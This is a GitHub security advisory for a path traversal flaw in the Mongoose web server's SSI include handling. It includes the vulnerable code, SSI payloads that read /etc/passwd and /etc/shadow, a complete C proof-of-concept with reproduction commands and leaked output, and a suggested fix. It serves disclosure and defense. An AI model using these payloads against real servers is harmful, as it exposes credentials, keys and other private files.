Skip to content

Path traversal in SSI #include directives enables arbitrary file read

Moderate
scaprile published GHSA-h7m9-764r-7x4x Aug 12, 2026

Package

https://github.com/cesanta/mongoose

Affected versions

7.21

Patched versions

7.22

Description

Summary

When Server-Side Includes (SSI) is enabled, the mg_ssi() function processes <!--#include file="..."> and <!--#include virtual="..."> directives without sanitizing the path argument. The path is concatenated directly into a filesystem path with no mg_path_is_sane() check, allowing ../ traversal to read arbitrary files. An attacker who can write or control the content of an .shtml file can read any file readable by the Mongoose process, including /etc/passwd, /etc/shadow (if running as root), application configuration, private keys, etc.


Severity

  • CVSS 3.1: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — "Path Traversal")

Affected Version


Vulnerability Details

Root Cause

The SSI processor at lines 12101–12117 handles two include directives:

// file= directive (line 12101-12105): path relative to current .shtml file
if (sscanf(buf, "<!--#include file=\"%[^\"]", arg) > 0) {
    char tmp[MG_PATH_MAX + MG_SSI_BUFSIZ + 10],
        *p = (char *) path + strlen(path), *data;
    while (p > path && p[-1] != MG_DIRSEP && p[-1] != '/') p--;
    mg_snprintf(tmp, sizeof(tmp), "%.*s%s", (int) (p - path), path, arg);
    // NO mg_path_is_sane() check on arg or tmp!
    data = mg_ssi(tmp, root, depth + 1);  // Opens the file

// virtual= directive (line 12115-12117): path relative to root dir
} else if (sscanf(buf, "<!--#include virtual=\"%[^\"]", arg) > 0) {
    mg_snprintf(tmp, sizeof(tmp), "%s%s", root, arg);
    // NO mg_path_is_sane() check on arg or tmp!
    data = mg_ssi(tmp, root, depth + 1);  // Opens the file

The arg value is extracted from the SSI directive with sscanf and concatenated into a file path. No path sanitization is performed — ../ sequences pass through directly to fopen().

Note: mg_path_is_sane() IS used in uri_to_path2() (line 2534) for HTTP request URIs, but it is NOT called in the SSI include handler.

Exploitation

An attacker who can write content to an .shtml file on the server creates:

<!--#include file="../../../etc/passwd"-->
<!--#include virtual="/../../../etc/shadow"-->

When any user requests this .shtml file, Mongoose reads and returns the contents of /etc/passwd and /etc/shadow inline.


Proof of Concept

// Build: gcc -O2 -DMG_ENABLE_LINES -DMG_ENABLE_SSI -DMG_ENABLE_DIRLIST -I<mongoose_src> poc.c -o poc
// Run:   ./poc

#include "mongoose.c"
#include <stdio.h>

static void fn(struct mg_connection *c, int ev, void *ev_data) {
    if (ev == MG_EV_HTTP_MSG) {
        struct mg_http_serve_opts opts = {
            .root_dir = "/tmp/mg_ssi_test",
            .ssi_pattern = "#.shtml"
        };
        mg_http_serve_dir(c, ev_data, &opts);
    }
}

int main(void) {
    system("mkdir -p /tmp/mg_ssi_test/subdir");

    FILE *f = fopen("/tmp/mg_ssi_test/subdir/evil.shtml", "w");
    if (f) {
        fprintf(f, "<html><body>\n");
        fprintf(f, "<h1>SSI Path Traversal PoC</h1>\n");
        fprintf(f, "<h2>/etc/passwd via file= directive:</h2>\n");
        fprintf(f, "<pre>\n");
        fprintf(f, "<!--#include file=\"../../../etc/passwd\"-->\n");
        fprintf(f, "</pre>\n");
        fprintf(f, "<h2>/etc/hostname via virtual= directive:</h2>\n");
        fprintf(f, "<pre>\n");
        fprintf(f, "<!--#include virtual=\"/../../../etc/hostname\"-->\n");
        fprintf(f, "</pre>\n");
        fprintf(f, "</body></html>\n");
        fclose(f);
    }

    struct mg_mgr mgr;
    mg_mgr_init(&mgr);
    mg_http_listen(&mgr, "http://0.0.0.0:8099", fn, NULL);
    for (;;) mg_mgr_poll(&mgr, 1000);
    mg_mgr_free(&mgr);
    return 0;
}

Steps to Reproduce

gcc -O2 -DMG_ENABLE_LINES -DMG_ENABLE_SSI -DMG_ENABLE_DIRLIST -I<mongoose_src> poc.c -o poc
./poc &
curl http://localhost:8099/subdir/evil.shtml

Expected (correct) Output

SSI include with path traversal rejected.
Error: Invalid include path "../../../etc/passwd"

Actual Output (vulnerable)

$ curl http://localhost:8099/subdir/evil.shtml
<pre>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
</pre>

Full contents of /etc/passwd are returned. The virtual= directive also works for /etc/hostname.


Impact

  • Confidentiality: High — arbitrary file read. Can access /etc/passwd, application configs, private keys, database credentials, and any file readable by the Mongoose process.
  • Integrity: None.
  • Availability: None.
  • Attack vector: Network. Requires (1) MG_ENABLE_SSI compiled in, (2) ssi_pattern configured, (3) attacker can write content to an .shtml file. File-write vectors include mg_http_upload, user-generated content stored in .shtml files, shared/mounted filesystems, or CMS-style applications.

On IoT devices with SSI-enabled web interfaces, the attacker may be able to upload a crafted .shtml file via the device's file-management interface.


Suggested Fix

Add mg_path_is_sane() validation on the resolved path before opening:

// For file= directive (after line 12105):
mg_snprintf(tmp, sizeof(tmp), "%.*s%s", (int) (p - path), path, arg);
if (!mg_path_is_sane(mg_str(tmp))) {
    MG_ERROR(("SSI include path traversal blocked: %s", arg));
} else if (depth < MG_MAX_SSI_DEPTH && ...) {

// For virtual= directive (after line 12117):
mg_snprintf(tmp, sizeof(tmp), "%s%s", root, arg);
if (!mg_path_is_sane(mg_str(tmp))) {
    MG_ERROR(("SSI include path traversal blocked: %s", arg));
} else if (depth < MG_MAX_SSI_DEPTH && ...) {

Additionally, verify the resolved path starts with the root directory to prevent absolute-path escapes.


Patched In

Fixed in the 2026-06-23 Mongoose release (SBOM 7.21_1ddf6c2cbd_5ab08203 or later).


References

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-73255

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits